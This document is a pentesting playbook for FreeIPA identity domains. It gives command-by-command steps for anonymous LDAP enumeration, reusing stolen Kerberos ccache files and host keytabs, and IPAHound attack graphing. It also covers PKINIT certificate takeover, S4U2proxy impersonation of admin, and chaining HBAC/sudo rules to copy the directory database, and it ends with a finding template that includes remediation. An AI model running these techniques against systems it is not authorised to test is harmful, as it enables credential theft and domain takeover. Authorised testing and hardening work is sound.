Pentesting Freeipa

Pentesting FreeIPA

When to Use

• You find Unix/Linux hosts integrated with a central identity provider, a FreeIPA web UI on 443, or /etc/krb5.conf and /etc/ipa/default.conf on a foothold.
• LDAP (389/636) and Kerberos (88) services answer on a server and clients have sssd configured.
• You compromised a domain-joined Unix host and want to enumerate users/hosts/groups, harvest Kerberos tickets, and abuse HBAC/sudo rules for lateral movement.
• You hold a standard user, a host keytab, or a service account and need a graph-driven path to domain compromise.

Critical: Techniques Most Often Missed

• Anonymous LDAP bind — by default FreeIPA's LDAP allows anonymous binds, exposing a large amount of data unauthenticated.

  ldapsearch -x        # anonymous bind, dumps enumerable data unauthenticated
  

  • How to CONFIRM: ldapsearch -x -b "dc=domain,dc=local" returns user/host entries without credentials.
• Stealing and reusing CCACHE tickets from /tmp — CCACHE files live in /tmp with 600 perms and let you authenticate without the plaintext password.

  klist                                # parse the current ticket
  export KRB5CCNAME=/tmp/krb5cc_1000   # reuse a stolen ccache
  klist                                # confirm the imported TGT
  

  • How to CONFIRM: after exporting KRB5CCNAME, klist shows a valid krbtgt/... ticket and ipa user-find works without kinit.
• Keytab reuse for non-interactive TGTs — /etc/krb5.keytab (hosts) and service keytabs yield TGTs without any password via kinit -k.

  kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
  klist -k /etc/krb5.keytab            # enumerate principals/keys in a keytab
  

  • How to CONFIRM: kinit -kt succeeds and klist shows the host/service TGT; reuse it against LDAP with ldapwhoami.
• admin == Domain Admin; root on the IPA server owns the hashes — the FreeIPA admin role equals AD domain admins, and root on the server can dump hashes with dbscan (userPassword/ipaNTHash base64 attributes).
  • How to CONFIRM: ipa user-show admin --all and, on the server as root, dbscan extraction of userPassword/ipaNTHash.
• HBAC + sudo rule chaining to a DC — CanSSH (HBAC allows sshd) plus CanSUDO (HBAC + matching sudo rule, especially ipaSudoOpt=!authenticate) to a domain controller can let you steal id2entry.db = effectively full domain compromise.
  • How to CONFIRM: ipa hbacrule-show <rule> --all and ipa sudorule-show <rule> --all reveal a path; test ssh then sudo -l on the target host.

Workflow

Step 1: Locate config and prepare authentication

cat /etc/krb5.conf            # KDCs, admin servers, realm mappings
cat /etc/ipa/default.conf     # IPA client/server defaults
ls -la /etc/krb5.keytab /tmp/krb5cc_*   # host keytab + user ccaches
env | grep -i krb5            # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG ...
kinit <user>                  # interactive, or:
kinit -k -t /etc/krb5.keytab 'host/srv.domain.local@DOMAIN.LOCAL'
klist

Step 2: Enumerate via LDAP and the ipa CLI

# Unauthenticated
ldapsearch -x

# Authenticated (GSSAPI/Kerberos)
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"     # users
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local"  # user groups
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local" # hosts
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"

# From a domain-joined host with the ipa binary
ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa host-group-find
ipa user-show <username> --all
ipa hostgroup-show <host group> --all

Step 3: Enumerate HBAC, sudo rules, roles/privileges/permissions

# HBAC (who can access which hosts/services)
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
ipa hbacrule-find ; ipa hbacrule-show <hbacrule> --all

# sudo rules (commands allowed with sudo per host/user)
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
ipa sudorule-find ; ipa sudorule-show <sudorule> --all

# Roles / privileges / permissions
ipa role-find ; ipa role-show <role> --all
ipa privilege-find ; ipa permission-find

Step 4: Graph paths (IPAHound) and abuse privileges

# Build an attack graph from a low-priv user / keytab / service account
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json

# Neo4j: focused spray list of password-auth-allowed principals
# MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName

# Host/service-account takeover via PKINIT (write userCertificate;binary over LDAP)
openssl req -new -newkey rsa:2048 -days 365 -nodes \
  -keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local

# Delegation abuse: S4U2proxy to impersonate admin to LDAP
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
  test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Anonymous LDAP exposes the directory

ldapsearch -x against the FreeIPA server returns users, groups, and hosts without credentials, giving a full target list and revealing service accounts to spray.

Scenario 2: Host keytab to lateral movement

A compromised client's /etc/krb5.keytab is reused with kinit -k -t /etc/krb5.keytab host/srv@DOMAIN.LOCAL. Authenticated ldapsearch -Y gssapi and ipa hbacrule-find map a CanSSH+CanSUDO path to a domain controller; SSHing and sudo there allows copying id2entry.db.

Scenario 3: Service account PKINIT takeover

Holding a computer account that owns its service principals, the operator issues a cert with ipa cert-request, writes userCertificate;binary to the service object via ldapmodify, and runs kinit -X X509_user_identity=...; ldapwhoami confirms the new identity before S4U2proxy delegation abuse to LDAP as admin.

Output Format

## FreeIPA Finding

**Component**: FreeIPA (LDAP 389/636, Kerberos 88) - realm DOMAIN.LOCAL
**Severity**: Critical
**Finding**: Anonymous LDAP enumeration + reusable host keytab enables path to domain compromise
**Evidence**:
  - `ldapsearch -x` returned all users/hosts unauthenticated
  - `kinit -k -t /etc/krb5.keytab host/web01@DOMAIN.LOCAL` -> valid TGT (klist)
  - `ipa hbacrule-show allow_all --all` + `ipa sudorule-show admins_sudo --all` -> CanSSH+CanSUDO to dc1
  - sudo on dc1 allowed read of /var/lib/dirsrv/.../id2entry.db
**Impact**: An attacker on any joined host can enumerate the directory anonymously and chain HBAC/sudo rules to reach a domain controller, yielding the full identity database and effective domain compromise.
**Recommendation**:
  1. Disable anonymous LDAP binds (restrict `nsslapd-allow-anonymous-access`).
  2. Scope HBAC and sudo rules to least privilege; avoid `allow_all` and `ipaSudoOpt=!authenticate` on DCs.
  3. Protect keytabs/CCACHE (tight perms, rotation) and monitor for offline ticket/keytab reuse.
  4. Enforce strong hashing and MFA; restrict who holds the `admin` role and CA/cert-request privileges.